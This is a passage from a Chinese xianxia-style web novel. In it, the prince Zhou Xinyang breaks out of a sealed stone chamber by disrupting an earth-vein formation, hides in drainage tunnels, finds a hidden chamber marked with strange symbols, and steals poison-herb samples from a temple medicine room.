但他没有放弃,将全部心神集中在眉心,想象着自己的意识如同一缕清风,小心翼翼地拂过香炉表面,感受着炉身传来的温度,以及周围空气那极其微弱的不寻常流动。
时间一点点过去。
石室内寂静无声,只有炉中线香燃烧时细微的“滋滋”声,以及周昕
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阳自己粗重而压抑的呼吸声。
不知过了多久,就在他感到精神即将耗尽,头痛欲裂之时,指尖忽然传来一丝极其微弱的、如同羽毛拂过般的触感——不是物理上的触碰,而是一种能量的、气机的牵引!
那感觉来自香炉的东南侧炉足下方!
周昕阳猛地睁开眼,眼中闪过一丝精光。他死死盯着那个位置,再次集中精神。
这一次,他“看”得更清晰了——并非用眼睛,而是用那模糊的精神感知。
他“看到”一股极其微弱、却异常凝练的淡青色气流,如同一条纤细的游蛇,从石地深处悄然钻出,悄无声息地缠绕上香炉东南侧的炉足,然后顺着炉身盘旋而上,没入炉腹之中。
而在炉腹内部,似乎有一个小小的、不断旋转的气旋,正在贪婪地吸收着这股淡青气流,同时又将另一种更加沉静、平和的淡金色气息,通过炉身上那些看似装饰的云雷纹,缓缓释放出来,弥漫在整个石室之中。
这股淡金色的气息,与他感知到的、笼罩石室的那种“清正平和”的感觉完全一致!
这就是地脉之气被香炉转化后的阵法之力!是它封锁了石门,隔绝了内外,也暂时压制了他脑中的气机碎片和体内的毒素!
而那条注入的淡青色气流,就是地脉之气的来源!它的流转似乎遵循着某种规律,时强时弱,时急时缓……
周昕阳的心脏狂跳起来。
机会!
如果他能干扰这条地脉之气的输入,哪怕只是短短一瞬,是否就能让香炉转化的阵法之力出现波动,从而在石门的封锁上,制造出一个短暂的、可以突破的漏洞?
“这个玄微**,果然是有点真本事的。”
“我现在的状态也很奇怪。”
“居然能将精神力感知外物?”
“不过想要干扰地脉之气,这谈何容易!”
周昕阳叹息一声。
以他现在的状态,别说干扰地脉之气,就是多动用一丝精神力,都可能加重脑中的伤势,甚至引发不可预知的后果。
而且,如何干扰?
强行截断?
他对自己的精神力驾驭,根本就是一知半解。
他对地脉之气更是一窍不通!
这该如何是好啊?
第142章 梦境中的法门
就在周昕阳苦思对策,几乎要绝望放弃时,脑海中忽然闪过一个画面——那是之前在东宫偏殿,他强行感应无缝方匣时,涌入脑海的无数混乱画面之一。
画面中,似乎有一个人影,站在一个类似祭坛的复杂图案中心,双手结着一个奇异的手印,脚下踏着诡异的步伐,口中念念有词,然后……地面隐隐有光华流转,地气似乎被其引动,发生了偏移。
那个手印!
那个步伐!
虽然画面模糊破碎,但手印的起手式和步伐的几个关键转折点,却如同烙印般,因为与那金色印记一同出现,而被他牢牢记住了!
难道……那是某种引动、或者干扰地脉之气的法门?
属于那个制造邪物的神秘势力?
这个想法极其危险。
使用敌人的法门,而且是涉及地脉这种天地之力的禁忌法门,稍有不慎,就可能引火烧身,甚至可能让脑中的气机碎片产生更剧烈的反应。
但……这是梦境。
他有试错的资本。
而且,除此之外,目前来说,别无他法。
周昕阳眼中闪过决绝的光芒。
他不再犹豫,强撑着虚弱的身体,摇摇晃晃地站起来,按照记忆中那个模糊人影的方位,走到了香炉东南侧,大致是淡青色气流“游蛇”钻出地面的位置前方。
周昕阳闭上眼,深吸一口气,然后缓缓抬起双手。手臂沉重得像灌了铅,指尖因为脱力而微微颤抖。
他强迫自己忽略身体的痛苦,全神贯注地回忆那个手印。
左手拇指扣住无名指根,中指与食指并拢斜指上方,小指微微内蜷……右手姿势相对简单,掌心向上,五指自然舒展,仿佛托举着什么……
不对,感觉不对。
记忆中那个人影的手印,似乎带着一种独特的韵律,不仅仅是姿势,还有气息的流转……
周昕阳尝试调整呼吸,想象着气息随着手印的变化在体内流转。一次,两次,三次……他反复尝试,额头的冷汗如同小溪般流下,浸湿了粗麻衣襟。
身体的痛苦和精神的疲惫几乎要将他淹没,但他咬牙坚持着。
就在他几乎要放弃,认为这根本是徒劳之时,他忽然感到,随着他一个极其别扭、却隐隐契合了记忆中某个片段的双手交叠动作,以及脚下无意中踏出的一个踉跄却巧合的方位,他脑中那枚沉寂的金色印记气机,竟然极其微弱地……跳动了一下!
与此同时,他脚下站立之处,那原本平稳输入香炉的淡青色气流,似乎也随之一滞,出现了极其细微的紊乱,像是平静的水面被投入了一颗小石子,荡开了一圈几乎看不见的涟漪。
“有效!”周昕阳心中狂喜,但不敢有丝毫松懈。他立刻集中全部精神,捕捉着脑中金色印记那微弱的跳动韵律,以及脚下地气那瞬间的紊乱轨迹。
他发现,当他尝试模仿那个模糊人影的呼吸节奏并配合着脑中金色印记那极其微弱的、几乎不可察觉的“脉搏”般的跳动,再次做出某个特定的手势转折时,脚下地气的紊乱就会稍微明显一丝。
虽然依旧微弱到可以忽略不计,但确确实实存在!
这不是巧合!
那个手印和步伐,真的能与地脉之气产生共鸣!而他脑中的金色印记,似乎成为了他与这法门之间一个极其微弱、却又确实存在的桥梁!
这个发现让周昕阳·精神大振。
他不再盲目尝试,而是开始有意识地、极其小心地调整自己的呼吸、手势、以及脚下看似无意的挪动,试图迎合脑中金色印记那微弱的跳动,去引导脚下地气那细微的紊乱。
这是一个极其精细、也极其耗费心神的过程。
周昕阳感觉自己就像在悬崖边上走钢丝,稍有不慎,就可能从那种玄妙的感应状态中跌落,或者引发地气更剧烈的反噬。
汗水早已湿透了他的全身,脸色苍白得吓人,嘴唇因为用力而被咬出了血印,太阳穴突突直跳,脑中的刺痛感一阵强过一阵。
但周昕阳硬是凭着顽强的意志力,撑了下来。
一次,两次,三次……他不断微调,不断试探。
终于,在他自己都记不清是第多少次尝试后,当他以一个极其别扭的姿势半跪于地,双手做出一个环抱虚引的动作,同时脑中观想着金色印记某个特定纹路亮起的瞬间——
“嗡……”
一声极其低沉、仿佛来自大地深处的轻鸣,在他脚下响起。
紧接着,他“看到”那条注入香炉的淡青色气流,猛地一颤,然后像是被无形的手拨动了一下,竟然偏离了原本的轨迹,朝着他右手虚引的方向,微微偏折了那么一丝!
虽然只是极其细微的偏折,持续时间可能连一息都不到,但对于时刻关注着香炉变化的周昕阳来说,却如同黑夜中的闪电般清晰!
就在地气偏折的刹那,香炉炉腹内那个旋转的气旋,明显地滞涩了一瞬!弥漫在整个石室中的淡金色阵法之力,也随之出现了极其短暂、几乎难以察觉的波动!
就是现在!
周昕阳用尽全身最后一丝力气,猛地扑向那扇沉重的石门,双手抵在冰冷的石面上,用力一推——
“咔……”
一声极其轻微、却足以让他心脏停跳的机括松动声响起!
石门,竟然被他推开了一道缝隙!
虽然只有寸许宽,但足以让他看到门外昏暗光线下的石廊,以及感受到门外那更加清冷新鲜的空气!
成功了!
周昕阳强行干扰了地脉阵法一瞬间,制造出了石门封锁的漏洞!
巨大的喜悦瞬间涌上心头,但紧随而来的,是更强烈的眩晕和脱力感。
周昕阳知道自己刚才的举动,已经耗尽了最后的气力,也必定引起了阵法更剧烈的反噬。
他必须立刻离开,而且,这漏洞可能转瞬即逝!
他不敢有丝毫耽搁,用肩膀顶住石门缝隙,拼尽全力向外挤去。粗糙的石门边缘刮擦着他身上的粗麻衣,带来火辣辣的疼痛,但他浑然不觉。
就在他大半个身子刚刚挤出石门,双脚还留在门内时,身后石室内,那尊香炉猛地一震!炉中三炷线香瞬间燃尽,化作三缕青烟,笔直上升!
炉身表面的云雷纹骤然亮起刺目的金光,一股强大而混乱的地脉波动以香炉为中心,轰然爆发!
“轰——!”
无形的气浪狠狠撞在周昕阳的后背上,将他如同断线风筝般,直接撞出了石门,重重摔在冰冷的石廊地面上!
“噗!”周昕阳喉咙一甜,一口鲜血再也抑制不住,喷了出来,在昏暗的光线下绽开一朵触目惊心的血花。全身的骨头都像是散了架,眼前金星乱冒,耳中嗡嗡作响。
但他知道,自己出来了!
虽然付出了惨重的代价,但他出来了!
周昕阳强撑着想要爬起来,却发现自己连动一动手指的力气都没有了。只能勉强转动眼珠,观察着周围的环境。
这是一条昏暗的石质通道,墙壁上隔着很远的距离才镶嵌着一盏昏暗的油灯,光线勉强能照亮脚下。
通道延伸向两个方向,不知通往何处。
空气潮湿而阴冷,带着地底特有的土腥味和霉味,与他之前所在的石室那浓郁的药香截然不同。
这里应该就是玄机观后山禁地的地下部分。
刚才的动静……恐怕已经惊动了守卫!
果然,几乎是立刻,通道两端都传来了急促而沉重的脚步声,以及铠甲碰撞的铿锵之声!还有呼喝声隐隐传来:
“什么声音?!”
“是从禁闭石室方向传来的!”
“快!过去看看!”
周昕阳的心沉到了谷底。
以他现在的状态,别说逃跑,就连挪动一下都做不到。
一旦被守卫发现他逃出石室,等待他的,将是更严密的看守,甚至可能被父皇怀疑别有用心,之前的努力全都白费。
难道……就这么结束了?
被抓住,然后这场梦境之旅提前画上**?
不!他不甘心!
周昕阳咬紧牙关,用尽最后一丝意志,驱动着几乎麻木的身体,朝着距离他最近的一个、光线照不到的墙角阴影处,艰难地、一点点地挪动过去。
每挪动一寸,都像是耗尽了全身的力气,都带来钻心的疼痛和更强烈的眩晕。
快点……再快点……
脚步声越来越近,火把的光芒已经开始在通道拐角处晃动。
就在周昕阳的身体终于完全没入那片狭小的阴影,与黑暗融为一体时,两队全副武装的禁军士兵,手持火把和兵器,从通道两端几乎同时冲到了石门前。
“石门开了!”一名士兵惊呼。
“里面没人!”另一名士兵探头看了一眼石室,立刻喊道。
“血迹!这里有血迹!”第三名士兵发现了周昕阳喷在石门附近地面上的那滩鲜血。
“逃出去了?这怎么可能?!”带队的一名校尉脸色大变,“立刻封锁所有出口!搜!他受了重伤,跑不远!一定要把他找出来!”
“是!”士兵们齐声应诺,立刻分散开来,开始沿着通道仔细搜查。火把的光芒晃动着,脚步声、呼喝声、兵器碰撞声在狭窄的通道内回荡,气氛瞬间变得紧张无比。
周昕阳蜷缩在冰冷的墙角阴影里,屏住呼吸,连心跳都仿佛要停止。他能感觉到搜查的士兵从他藏身的阴影前一次次走过,火把的光芒几次差点就照到了他的衣角。
他甚至能闻到士兵身上汗水和铁锈混合的气味,听到他们粗重的呼吸和低声的交谈。
“妈的,见鬼了,一个重伤的人能跑哪儿去?”
“会不会有什么密道?”
“不可能,这禁地哪里来的密道?除非是观里的**……”
“少废话,仔细搜!找不到人,我们都得掉脑袋!”
时间一分一秒过去,每一秒都漫长得像一个世纪。
周昕阳感觉自己的意识又开始模糊,失血、剧痛、毒性发作、精神透支……各种负面状态如同潮水般涌来,要将他拖入黑暗的深渊。
他死死咬着舌尖,用剧痛维持着最后一丝清明。
不能睡……不能被发现……还有事情要做……
他知道,自己不能一直躲在这里。士兵的搜索只会越来越严密,而且,他必须尽快弄清楚自己身上毒素的组成部分,躲在这里,什么都做不了。
他需要情报,需要线索,需要……一个机会。
就在这时,一阵不同于士兵的、更加轻盈而迅疾的脚步声,从通道深处传来。
脚步声很轻,但在寂静的通道和士兵嘈杂的搜索声中,却显得格外清晰。
紧接着,一个冰冷而熟悉的女声响起,带着不容置疑的威严:“怎么回事?为何如此喧哗?”
是二姐周灵薇!
周昕阳心中一动。
“启禀公主!”那名校尉连忙上前行礼,声音带着惶恐,“泽川王殿下……他不知用什么方法打开了石门,逃了出来!
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地上有血迹,属下正在带人全力搜查!”
“什么?!”周灵薇的声音陡然拔高,充满了震惊与愤怒,“这么多人看不住一个重伤之人?老九收了这么重的伤?他能去哪里?快找到他!”
“立刻加派人手,封锁所有通往地面的通道和可能的藏匿点!他身中奇毒,又有伤在身,绝不可能走远!就是掘地三尺,也要把他给我找出来!”
“是!属下遵命!”校尉慌忙应道,转身就要去安排。
“等等!”周灵薇叫住了他,语气放缓了一些,但依旧带着急切,“重点搜查药庐、丹房、藏书阁附近!老九懂些医术,可能会去那里寻找解毒的线索或药物!”
“还有,观中可有擅长解毒、或是精通西域药物的大夫?”
“立刻去请来!记住,要暗中进行,不要声张!”
“是!属下明白!”校尉领命,匆匆带着一部分士兵离去。
周灵薇则带着剩下的几名士兵,开始在附近仔细查看,尤其是那滩血迹和石门的痕迹。她蹲下身,用手指沾了一点尚未完全干涸的血迹,凑到鼻尖闻了闻,秀眉紧蹙。
“毒性未清,气血亏损如此严重……老九,你到底想干什么?”她低声自语,语气中充满了担忧与不解。
躲在阴影中的周昕阳,听着二姐焦急的吩咐和自语,心中五味杂陈。二姐还是关心他的,第一时间想到的是他可能去寻解毒之法。这让他冰冷的心中泛起一丝暖意,但更多的却是紧迫感。
药庐、丹房、藏书阁……二姐猜得没错,他确实需要解毒的线索,也需要了解更多关于那**、关于无缝方匣、关于金色印记的信息。
玄机观作为钦天监的秘所,藏书阁中很可能藏有相关的古籍秘录。
这是一个方向。
但更大的问题是,他如何避开越来越严密的搜索,到达那些地方?
而且,就算到了,以他现在的状态,又能查看多少?
就在他苦苦思索之际,通道另一端,又传来了一阵急促的脚步声,伴随着玄微**那苍老而凝重的声音:“二公主,情况如何?王爷找到了吗?”
“还没有。”周灵薇迎了上去,语气焦急,“**,老九他……”
“老道已经知道了。”玄微**打断了她,声音带着一丝罕见的波动,“方才地脉阵法出现异常波动,源头就在禁闭石室。王爷他……恐怕是用了某种禁忌之法,强行干扰了地脉,这才得以破门而出。此法凶险万分,对王爷的伤势和体内的气机碎片,恐有雪上加霜之患!”
“那怎么办?”周灵薇更急了。
“当务之急,是尽快找到王爷。”玄微**沉声道,“他如今状态极差,又强行施法,随时可能有性命之忧。”
“二公主,你带人继续在附近搜索。老道去启动观中的周天星罗阵,此阵可一定程度上感应生灵气血与异常气机。”
“王爷身上有阴寒之气与金色印记的残留,在阵法探查下,应无所遁形。”
“只要他还在观中,就一定能找到!”
周天星罗阵?
感应气血与异常气机?
周昕阳心中大凛!
如果让玄微**启动那个阵法,他绝对藏不了多久!
必须立刻离开这片区域,甚至……最好能离开玄机观的范围!但以他现在的状态,这简直是痴人说梦。
难道……真的无路可走了吗?
就在这几乎绝望的时刻,周昕阳的目光,无意中扫过了通道墙壁上,距离他不远处,一个极其不显眼的、似乎是排水用的、只有碗口大小的幽深孔洞。
孔洞黑漆漆的,不知通往何处,里面传来隐隐的、带着湿气的风声。
这孔洞……似乎是通往地下的排水系统?
玄机观建在山中,有排水系统并不奇怪。
一个极其大胆、甚至可以说是疯狂的念头,猛地窜入周昕阳的脑海。
进入排水道!
那里阴暗潮湿,结构复杂,或许能暂时避开阵法的探查和士兵的搜索!而且,排水道四通八达,说不定……能找到通往外界,或者通往药庐、丹房、藏书阁等关键区域的路径!
虽然危险重重,随时可能迷路、遇到毒虫瘴气、或者体力不支晕倒在里面,成为一具无人发现的枯骨……
但,这似乎是他目前唯一的、也是最后的生机了。
没有时间犹豫了。
玄微**去启动阵法,留给他的时间不多了。
周昕阳用尽最后的气力,再次驱动麻木的身体,朝着那个排水孔洞,一点一点,如同蠕虫般,艰难地挪了过去。
冰冷、潮湿、带着浓重霉味和土腥气的空气,从孔洞中扑面而来。
他回头,最后看了一眼通道中晃动的人影和火光,看了一眼二姐周灵薇焦急的侧脸,然后,义无反顾地,将头探入了那个深不见底的黑暗孔洞之中,用肩膀和膝盖,拼命地、一点一点地,将自己的身体,挤了进去。
黑暗,瞬间吞噬了他。
身后,是越来越近的搜索声和玄微**启动阵法的隐约咒文吟唱声。
身前,是未知的、充满危险的、但也可能藏着一线生机的、深邃的地下迷宫。
他对这里是好奇的!
或许询问玄微**,能得到一个结果。
但有些事情,周昕阳还是希望通过自己的寻找来佐证。
毕竟下次梦境,他还可以直接询问。
而这一次,自己寻找,是更优解的。
反正梦境会重置……
第143章 破局
黑暗如同粘稠的墨汁,瞬间淹没了周昕阳所有的感官。
排水孔洞比他想象的还要狭窄,粗糙的石壁刮擦着他的肩膀和后背,带来火辣辣的刺痛。
通道内部弥漫着一股难以形容的混合气味——潮湿的土腥味、陈年的霉味、某种难以言喻的**气息,以及……一丝极其微弱、几乎被其他气味掩盖的、淡淡的药草清香?
这丝药草清香让周昕阳·精神微微一振。
这说明,这条排水道并非完全废弃,可能与地面上药庐、丹房之类的区域有所连通!
这印证了他的猜测,也给了他一线希望。
周昕阳不敢停留,用尽全力,继续在狭窄、湿滑的管道中向前蠕动。
管道并非笔直,时而向上倾斜,时而急转向下,有时甚至需要他侧身才能勉强通过。
每一次挪动,都牵动着全身的伤势,带来撕裂般的痛苦。
胸腔的闷痛和喉咙的腥甜感越来越强烈,眼前阵阵发黑,耳边嗡嗡作响,那是失血过多和体力透支的征兆。
但他不能停。
他必须离刚才那个入口足够远,离可能启动的周天星罗阵的探查范围越远越好。
不知爬了多久,也许是一炷香,也许是半个时辰,时间的流逝在绝对的黑暗和身体的极致痛苦中变得模糊。
周昕阳感觉自己的意识已经开始飘散,身体的感知变得麻木,只剩下求生的本能驱使他向前挪动。
就在他几乎要彻底失去意识,瘫软在这黑暗的管道中时,前方突然传来一丝极其微弱的气流扰动,带着一丝更加清晰的、类似薄荷的清凉气息,冲淡了周遭的霉腐味。
有风?
通往更大的空间?
还是……出口?
周昕阳心中猛地燃起一丝希望,他咬紧牙关,用尽最后一丝力气,朝着那丝气流传来的方向,拼命挤了过去。
“哗啦……”
身体突然一空,他从狭窄的排水管中滑出,重重摔在了一片湿滑、冰冷、但相对开阔的地面上。
突如其来的空间感让他眩晕了片刻,随即大口大口地喘着气,贪婪地呼吸着那带着薄荷清凉感的空气。
虽然依旧潮湿阴冷,但比管道内那令人作呕的霉腐气息好太多了。
他趴在地上,喘息了好一会儿,才勉强积聚起一点力气,挣扎着抬起头,观察周围的环境。
这里似乎是一个更大的地下通道,或者说,是一个废弃的地下石室的一部分。
空间比他之前所在的禁闭石室要大上数倍,但同样简陋。头顶是粗糙的岩石穹顶,有些地方甚至还在往下渗着水滴,发出“嘀嗒、嘀嗒”的声响,在空旷的黑暗中显得格外清晰。
地面同样是粗糙的石板,积着浅浅的一层污水,散发出难闻的气味。
但奇怪的是,在石室的一个角落,有一小片区域相对干燥,墙壁上似乎还残留着一些模糊的、人工开凿的痕迹,像是壁龛或放置东西的台子。
更让周昕阳在意的是,空气中那股薄荷般的清凉气息,似乎就是从那个角落散发出来的。
而且,借着从上方某个裂隙透下的、极其微弱的、不知是月光还是远处火把反光的朦胧光线,他隐约看到,那个角落的墙壁上,似乎刻着一些……扭曲的纹路?
是符文?
还是单纯的石匠凿痕?
周昕阳的心跳加快了几分。
他强忍着剧痛和虚弱,手脚并用地朝着那个角落爬去。
冰凉的地面积水浸透了他单薄的粗麻衣,带来刺骨的寒意,但他浑然不顾。
越来越近……
薄荷清凉的气息也越来越清晰,其中似乎还夹杂着一丝极其淡雅的、类似檀香的余韵。
墙壁上的纹路也渐渐清晰——那并非天然形成的裂纹,也非粗糙的凿痕,而是某种……人为刻画的、线条扭曲而怪异的图案!
图案的中心,似乎是一个眼睛的轮廓,但眼瞳的部分却被一个复杂的螺旋符号所取代。
螺旋符号向外延伸出无数细密的、如同血管或藤蔓般的线条,布满了整个图案区域。
这些线条的走向看似杂乱,但仔细观察,却隐隐与东宫偏殿兽皮地图上的某些符文轨迹,有几分神似!
而在这诡异图案的下方,那个相对干燥的壁龛内,周昕阳看到了让他瞳孔骤然收缩的东西——
几块散落的、颜色暗沉、似乎被烧灼过的木炭碎屑。
一小撮早已干枯、但形状奇特的、呈暗紫色的草叶碎末,散发出极其微弱的、混合了腥甜与清凉的奇异气味——正是之前那纸页上**的气味!
只是淡了无数倍,且多了那丝清凉感。
还有……几滴早已干涸、在微弱光线下呈现暗褐色的、类似血迹的斑点,溅落在壁龛边缘。
以及,壁龛底部,似乎用尖锐物刻下了一个极其潦草、几乎难以辨认的符号。
那符号……周昕阳死死盯着,心脏几乎要跳出胸腔——那符号的形状,竟与他脑中所记、那无缝方匣金色印记的某个边角残缺部分,有七八分相似!
只是更加扭曲、简陋,仿佛是在极度痛苦或仓促中刻画下的。
“这里……有人来过!”周昕阳的声音嘶哑而颤抖,带着难以置信的惊骇,“而且……很可能与那邪物、与那**、甚至与那无缝方匣……有关!”
这个废弃的地下石室,这个刻着诡异图案的角落,这些残留的痕迹……难道,这里曾是那个神秘势力在玄机观内的一个秘密据点?
或者,是某个知晓内情、甚至参与其中之人,曾经躲藏、或者进行过某种秘密活动的地方?
那几滴干涸的血迹,是试验**留下的?还是发生了什么冲突?
壁龛底部的潦草符号,是标记?是求救信号?
还是……某种未完成的仪式残留?
无数的疑问如同潮水般涌来,冲击着周昕阳本就混沌的头脑,让他感到一阵剧烈的头痛,脑中那枚金色印记的气机似乎受到了某种刺激,开始隐隐作痛,甚至……微微发热?
难道这地方,或者这些残留的痕迹,与他脑中的印记产生了某种共鸣?
他强忍着不适,伸手想去触碰壁龛底部那个潦草的符号,想要看得更清楚些。
就在他的指尖即将触碰到符号的瞬间——
“嗡……”
一声低沉得几乎无法听见、却仿佛直接在他脑中响起的嗡鸣,骤然炸开!
不是来自外界,而是直接来自他的脑海深处!是那枚金色印记的气机,在剧烈震颤!
与此同时,壁龛底部那个潦草的符号,竟仿佛活了过来一般,微微闪烁了一下极其暗淡的、几乎看不见的金色微光!
虽然只是一闪而逝,但在绝对的黑暗中,却如同惊雷般醒目!
“啊!”
周昕阳闷哼一声,如同被无形的重锤击中,整个人猛地向后仰倒,再次摔在冰冷的积水中。
脑中如同有无数根钢针在搅动,剧痛让他几乎晕厥过去。
胸口那股压抑感也骤然加剧,喉咙一甜,又是一口鲜血涌上,被他死死咽了回去。
周昕阳蜷缩在冰冷的水洼中,身体不受控制地颤抖着,眼前一片模糊,耳中充斥着尖锐的耳鸣。
过了好一会儿,那剧烈的痛苦才稍稍平复,但脑中金色印记的余波依旧在隐隐作痛,带着一种奇异的、被唤醒了般的活跃感。
“这符号……果然与印记有关!”周昕阳心中骇然。
这地下石室,绝对不简单!
它很可能直接关联到那制造邪物的势力,甚至可能是他们曾经在京城、在玄机观附近活动的重要证据!
难怪父皇和玄微**如此紧张,要将邪物严密看管,甚至将他“保护”起来。
这背后的水,比他想象的还要深,牵扯的势力,可能已经渗透到了难以想象的地步。
必须离开这里!
必须把这里的发现带出去!
不,不仅仅是带出去,他需要更直接的证据,更明确的线索!
比如……这石室里是否还有其他隐藏的东西?
那诡异图案是否还有别的含义?
那残留的毒草碎末,能否帮助他辨别毒性成分?
周昕阳挣扎着再次爬起,不顾脑中依旧残留的刺痛,开始更加仔细地搜索这个角落,他用手一点点摸索着潮湿的石壁,检查着壁龛的每一个缝隙,甚至用脚拨开地上的积水,查看石板之下是否另有乾坤。
功夫不负有心人。
在壁龛侧后方一块看似与周围浑然一体的石板下,他摸到了一个极其细微的凸起。
用力按下去——
“咔哒。”
一声轻微的机括声响,那块石板竟然向内凹陷,露出了一个巴掌大小、深约寸许的暗格!
暗格内空空如也,只有底部铺着一层薄薄的、同样干枯的暗紫色草叶碎末,与壁龛里发现的那一小撮同源,只是数量更少。除此之外,暗格内壁似乎用某种尖锐物,刻下了一行更加细小、也更加扭曲的符号,与壁龛底部那个潦草符号同源,但更加复杂,像是某种简短的记录或标记。
周昕阳强记下那几个扭曲符号的形状和排列顺序。
虽然不认识,但记下来,或许日后能找到人解读。
除此之外,再无所获。这个石室,似乎只剩下这些残留的痕迹,诉说着一段被掩埋的、充满诡异与危险的过去。
周昕阳靠在冰冷的石壁上,喘息着,脑中飞快地整理着线索:
需要关注的地点,玄机观后山禁地,地下废弃石室。
隐秘,潮湿,有排水道相连。
留下来的特殊痕迹,诡异眼状螺旋图案、毒草碎,疑似是纸页**来源……干涸疑似血迹、与金色印记相关的潦草符号、隐藏暗格及内部符号。
“目前来说,有可能的推断,此地曾为神秘势力据点或活动地点,进行过与**、邪物、金色印记相关的秘密活动。”
“活动时间可能不短,但后来被废弃或清理。”
“玄机观自身可能不知情,也可能……有内鬼?”
周昕阳冷静判断,开始尝试分析。
“随后,就是自身反应方面了……”
“脑中金色印记与此地符号产生共鸣,说明印记与这股势力核心秘密直接相关……”
“现在距离苏醒,只剩下一段时间,必须在苏醒之前,分析出毒草的成分,尽可能的搜集符号、图案、地点的情报,弄清楚特殊印记对自身的影响……”
周昕阳思路逐渐清晰。
目前当务之急,依然是解毒和获取更多关于这股势力的信息。
这里残留的毒草碎末是重要物证,但他需要更专业的分析。而玄机观的药庐、丹房、藏书阁,很可能有相关的记载或药物。
另外,二姐周灵薇提到观中有精通西域药物的大夫……这或许是个突破口。
西域,萨迪克商会,阿月……线索似乎又绕了回去。
“看来苏醒之后,要想办法从阿月和萨迪克商会口中得到一些情报才行。”
“现在的话,必须去药庐或者藏书阁……”
周昕阳低语,感觉体力恢复了一丝,他不能在此久留,玄微**的阵法可能已经启动,搜索也会向地下扩展。
周昕阳辨认了一下方向,朝着那丝薄荷清凉气息更浓郁、似乎有气流流动的通道一端,再次艰难地挪动过去。
这条通道比之前的排水道宽敞一些,但也更加曲折。
地面上不时能看到散落的碎石和早已风化的不知名杂物。
空气依旧潮湿,但那丝奇异的药草清香时有时无,仿佛在为他指引方向。
又前行了约莫一刻钟,周昕阳感到通道开始向上倾斜。
前方的黑暗中,隐隐传来了一线极其微弱的、橘黄色的光亮,还有隐约的……器物碰撞声?
以及,更加清晰的、多种药材混合的复杂气味!
是药庐!
或者至少是存放、处理药材的地方!
周昕阳·精神一振,加快脚步,但动作更加小心,尽量不发出声响,他贴着冰冷的石壁,缓缓靠近那光亮的来源。
光亮来自通道尽头一扇虚掩着的、厚重的木门缝隙。
木门样式古朴,与地下石室的粗糙风格不同,显然是通往地上建筑的入口。
器物碰撞声和低低的交谈声,
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正从门后传来。
“……这批赤阴藤的成色不如上个月,药性恐怕要打折扣。”一个苍老而沙哑的声音说道,带着不满。
“没办法,最近西域那边查得严,商路不畅,能弄到这些已经不错了。”另一个年轻些的声音回应,透着无奈,“孙老吩咐了,王爷中的毒可能涉及此物,让我们仔细甄别,看看能否找到解毒的线索或替代药物。”
赤阴藤?
周昕阳心中一动。
这正是孙太医提到的、纸页**的可能成分之一!
果然在这里!
“王爷也真是……唉。”苍老声音叹了口气,“好好的,去碰那些邪物做什么。如今毒入肺腑,气血两亏,脑中还有那什么气机作祟……难,难啊。”
“少说两句,仔细做事。公主和**都急坏了。”年轻声音提醒道。
周昕阳屏住呼吸,小心翼翼地将眼睛凑到门缝边,朝里望去。
门后是一间宽敞的石室,比下面那个废弃石室规整干净得多。四壁摆满了高高的药柜,上面贴满了标签。
中央是几个巨大的石制捣药臼和火炉,炉火正旺,上面架着药罐,咕嘟咕嘟地冒着热气,散发出浓郁的药味。
两个穿着灰色道袍、像是玄机观低阶道士或药童的人,正在灯下仔细分拣着一些暗红色的、干枯扭曲的藤状物——正是赤阴藤。
这里果然是玄机观的药庐地下储藏或处理间!
周昕阳的目光快速扫过室内。
除了赤阴藤,他还看到了其他一些熟悉的药材,以及一些他叫不出名字、但看起来就很奇特的植物根茎、矿石粉末等等。
其中一个半开的抽屉里,露出几片干枯的、呈暗紫色的草叶,与他在地下石室发现的毒草碎末颜色形状极为相似!
机会!这里不仅有赤阴藤,很可能还有其他**成分,甚至……可能有相关的药材图谱或记载!
但如何进去?
里面有人,而且这道门一旦推开,动静肯定不小。
就在周昕阳飞快思索对策时,药庐内那个年轻些的道士忽然说道:“师兄,孙老要的清心散还缺一味冰片,我记得库房最里面那个樟木盒里还有一些,我去取来。”
“快去快回,仔细门户。”年长道士头也不抬地吩咐。
“晓得。”年轻道士应了一声,拿起一盏小油灯,转身朝着药庐深处、另一扇小门走去。
好机会!
药庐内只剩一人,而且背对着大门,正在专心分拣药材!
周昕阳心念电转,一个大胆的计划瞬间成形。
他需要赤阴藤和那种暗紫色毒草的样本,也需要尽可能查看这里的药材记录。
但更重要的是,他需要制造一个混乱,一个能让他趁乱获取所需、并再次脱身的机会。
他的目光落在了门边墙壁上一个不起眼的、用来悬挂药铲的小木楔上,又看了看室内那个正冒着热气的药罐……
就是现在!
周昕阳用尽全身力气,猛地推开木门,同时顺手扯下了那个小木楔,用尽全力,朝着室内那个熊熊燃烧的火炉方向掷去!
他瞄准的不是火炉本身,而是火炉旁边一个堆放着干燥药草的竹筐!
“什么人?!”年长道士被突如其来的开门声和破风声惊动,骇然转身。
“啪!”木楔精准地打翻了竹筐边缘几个药包,干燥的药草洒落出来,一些飘散的火星立刻引燃了其中易燃的部分!
“着火了!快救火!”年长道士大惊失色,也顾不上去看清闯进来的是谁,慌忙扔下手中的赤阴藤,抄起旁边一个水桶就朝着起火点泼去,同时大声呼喊:“走水了!快来……”
他话音未落,周昕阳已经如同鬼魅般,冲到了摆放赤阴藤和那个打开抽屉的桌案旁,双手齐出,各自抓起一大把赤阴藤和那种暗紫色毒草,看也不看,胡乱塞进怀里。
同时目光飞快扫过桌案上摊开的一本泛黄的药材图册——运气不错,翻开的那一页,正好画着赤阴藤的图形和简要说明,旁边还有几行小字批注,提到了其药性、产地西域火山地带,以及……与另外几种阴性毒物混合可能产生的致幻、蚀心之效!
周昕阳一眼扫过,强行记下关键词和那几种搭配毒物的名字与图形。
整个过程不过两三息时间。
“你……你是……”年长道士泼灭了大部分火苗,这才惊疑不定地看向桌案方向,恰好看到周昕阳将最后一把药材塞进怀里,以及他那苍白如鬼、满身血污泥泞的骇人模样。
“泽、泽川王?!”道士认出了他,眼睛瞪得溜圆,手中的水桶“咣当”一声掉在地上。
周昕阳没有给他任何反应的时间,转身就朝着来时的木门冲去。他知道,刚才的动静和道士的呼喊,肯定已经惊动了附近的人。
果然,通道另一头已经传来了急促的脚步声和呼喝声:“哪里走水?!”
“药庐方向!”
周昕阳冲出木门,毫不犹豫地朝着与来时相反、更加黑暗幽深的通道另一端狂奔,他必须立刻离开药庐附近,寻找新的藏身之处,或者……想办法离开这地下迷宫。
身后,道士的呼喊声、追兵的脚步声、以及更远处响起的、某种低沉的、仿佛无数蜜蜂同时振翅的“嗡嗡”声交织在一起,在这地下世界中回荡,如同追魂的丧钟。
“是周天星罗阵启动的征兆?”
